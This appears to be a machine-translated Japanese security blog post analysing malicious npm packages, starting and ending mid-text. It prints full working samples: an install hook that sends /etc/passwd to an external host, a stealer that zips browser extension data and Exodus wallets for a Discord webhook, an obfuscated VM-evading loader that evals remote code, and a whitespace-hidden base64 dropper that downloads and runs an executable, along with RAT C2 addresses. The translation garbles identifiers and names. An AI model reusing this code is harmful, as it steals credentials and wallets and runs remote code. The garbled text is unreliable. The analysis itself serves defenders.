a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
我々はRAT(リモート・アクセス・トロイの木馬)を手に入れた。その概要は以下の通り:
行動概要
スクリプトは コマンドアンドコントロール サーバー socket.io-client
を経由してファイルを流出させる。 アクシオス
を第二のHTTPエンドポイントに追加する。これらのモジュールが足りない場合は、動的にインストールし、カスタムの .node_modules
フォルダを作成する。
C2インフラ
- ソケット通信:
http://85.239.62[.]36:3306
- ファイル・アップロード・エンドポイント:
http://85.239.62[.]36:27017/u/f
接続されると、クライアントは固有のID(ホスト名+ユーザー名)、OSタイプ、プロセスIDをサーバーに送信する。
能力
RATがサポートする機能(コマンド)のリストはこちら。
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
バックドアPython3127 PATH ハイジャック
このRATのより巧妙な特徴の1つは、Pythonツールを装って悪意のあるバイナリを静かに実行することを目的とした、Windows固有のPATHハイジャックの使用である。
スクリプトは以下のパスを構築し、その前に パス
環境変数 シェルコマンドを実行する前に:
LOCALAPPDATA%Program Files Python
このディレクトリを パス
環境解決された実行ファイルに依存するコマンド(例. パイソン
, ピップ、
など)は黙って乗っ取られるかもしれない。これは、Pythonがすでに利用可能であると予想されるシステムで特に効果的です。
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local')、
'ProgramsPython'
)
env.PATH = Y + ';' + process.env.PATH
妥協の指標
現時点では、悪意のあるバージョンのみが指標となっている:
- 2.0.84
- 1.0.110
- 2.0.83
| Usage | Endpoint | Protocol/Method |
| ------------------ | ------------------------------- | -------------------------- |
| ソケット接続|http://85.239.62[.]36:3306|socket.io-client|
|ファイル・アップロード先|http://85.239.62[.]36:27017/u/f|HTTP POST (multipart/form)
これらのパッケージのいずれかをインストールした場合、そのパッケージがC2と通信しているかどうかを確認できます。
.png)
マルウェア出会いガイド故宮マルウェアの種類を理解する
会社情報 ノード エコシステムは信頼の上に成り立っている。 npmインストール
しかし、その信頼はしばしば見当違いのものとなる。しかし、その信頼はしばしば見当違いである。
昨年来、npmに公開される悪意のあるパッケージの数が増加し、しばしば目につくところに隠れているという不穏な傾向が見られる。研究者による粗雑な概念実証(PoC)もあれば、慎重に作られたバックドアもある。正規のライブラリのふりをするものもあれば、難読化や巧妙なフォーマットのトリックを使って、目と鼻の先でデータを流出させるものもある。
この記事では、私たちが実際に分析した悪意のあるパッケージをいくつか紹介する。それぞれ、私たちが実際に目にする攻撃手法の明確な典型を表しています。あなたが開発者であれ、レッドチーマーであれ、セキュリティエンジニアであれ、これらのパターンに注意を払うべきです。
PoCについて

私たちが目にするパッケージの多くは、セキュリティ研究者からのもので、ステルスであろうとする試みは全くない。彼らは単に何かを証明しようとしているだけであり、多くの場合バグ賞金稼ぎの一環である。つまり、彼らのパッケージはたいてい本当にシンプルで、コードを含んでいないことが多い。彼らは、プリインストール、インストール、ポストインストールなど、パッケージが使用できる「ライフサイクルフック」に純粋に依存しています。これらのフックは、インストール中にパッケージマネージャが実行する単純なコマンドです。
例 ローカル・エディター・トップ
以下はパッケージの例である。 ローカル・エディター・トップ
を投稿するプリインストールフックによって検出されたパッケージです。 /etc/passwd
ファイルをBurp Suite Collaboratorのエンドポイントにホスト名を先頭に付けて送信します。
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
例 ccf-identity
研究者の中には、さらに一歩進んで、パッケージ内のファイルをこう呼ぶ人もいる。 ccf-identity
を使用してデータを抽出した。一例として、私たちはパッケージを検出し、ライフサイクルフックを観測し、そして、流出環境の多くの指標を持つjavascriptファイルを観測しました:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
ご覧のように、このファイルは インデックス.js
パッケージのインストール・プロセスが始まる前に、このファイルをインストールしてください。以下はそのファイルの内容である。
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
これらの概念実証は、多くの情報を収集するためにかなり遠くまで行き、ネットワーク・アダプターに関する情報もしばしば含まれる!
偽者

もしあなたが鋭い方なら、先の例がマイクロソフトのパッケージであることを示しているように見えたことに気づいたかもしれない。お気づきでしたか?ご心配なく、実はマイクロソフトのパッケージではありません!むしろ、これは2つ目のアーキタイプの例でもあるのです:偽者
その好例が、このパッケージだ。 リクエスト・プロミス
.その......その......その......その package.json
ファイル:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
面白いことに気づくだろう。最初は本物のパッケージのように見えるが、何かがおかしいという2つの大きなヒントがある:
- Githubのリファレンスには次のように書かれている。
リクエスト・プロミス
つまり単数形である。パッケージ名は複数形です。 - というファイルのポストインストールフックがある。
lib/rq.js
.
このパッケージはそれ以外は合法的に見える。パッケージから期待されるコードが lib/rp.js
(の違いに注目してほしい。 rp.js
そして rq.js
).では、この追加ファイルを見てみよう、 lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
という関数があることに騙されてはいけない。 メイクラブ
.このコードがブラウザのキャッシュと暗号ウォレットを探し、base64エンコードされたエンドポイントに送信することはすぐにわかる。デコードすると、Discordのウェブフックであることがわかる。
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
結局のところ、それほど愛に溢れているわけではない。
難読化

検知を回避する古典的なトリックは、難読化を使うことだ。防御側として朗報なのは、難読化は 本当に うるさいし、目立つし、ほとんどの場合克服するのは簡単だ。その一例が チキン・イズ・グッド
.ファイルを見る インデックス.js
明らかに難読化されていることがわかる。
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
すでに次のようなことが書かれている。 チェック仮想マシン
, チェックアップタイム
, isHostnameValid
など、疑念を抱かせる名前がついている。しかし、それが何をやっているのかを完全に確認するために、一般に公開されているデオブファスカーター/デコーダーを通すことができる。すると突然、もう少し読みやすいものが得られる。
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
多くのシステム情報を収集し、ある時点でHTTPリクエストを送信することは明らかだ。また、HTTPリクエストのコールバック内にeval()が存在するため、任意のコードを実行し、悪意のある動作を示すようだ。
トリックスター

時々、本当にこっそり隠そうとするパッケージも見かける。ロジックを理解しにくくするために難読化で隠そうとしているのではない。ただ、人間が注意を払わないとわからないようにしているだけなのだ。
そのような例として、パッケージ htpsカール
.以下は公式npmサイトから見たコードである:

一見、何の変哲もないように見えるだろう?しかし、横スクロールバーにお気づきだろうか?これは空白で本当のペイロードを隠そうとしているのだ!実際のコードを少し美化するとこうなる。
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
隠しペイロードがある。base64エンコードされたblobがあり、それがデコードされ、関数に変換され、そして呼び出される。これがデコードされ、きれいになったペイロードだ。
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
ここでは、ペイロードがウェブソケットを通じてリモート・サーバーに接続し、メッセージを送信していることがわかる。そして、そのレスポンスがbase64デコードされ、ディスクに保存され、実行される。
親切すぎるヘルパー

最後の原型は、役に立つが、ちょっと役に立ちすぎる図書館である。ここで使う例は 統合ロガー
パッケージいつものように package.json
ファイル。
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
ライフサイクルフックが見当たらない。ちょっと不思議だ。しかし、ロギング・ライブラリにとって、依存関係が アクシオス
これはHTTPリクエストに使われる。そこから インデックス.js
ファイルをインポートするファイルである。 src/logger.js。
それを見てみよう。
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
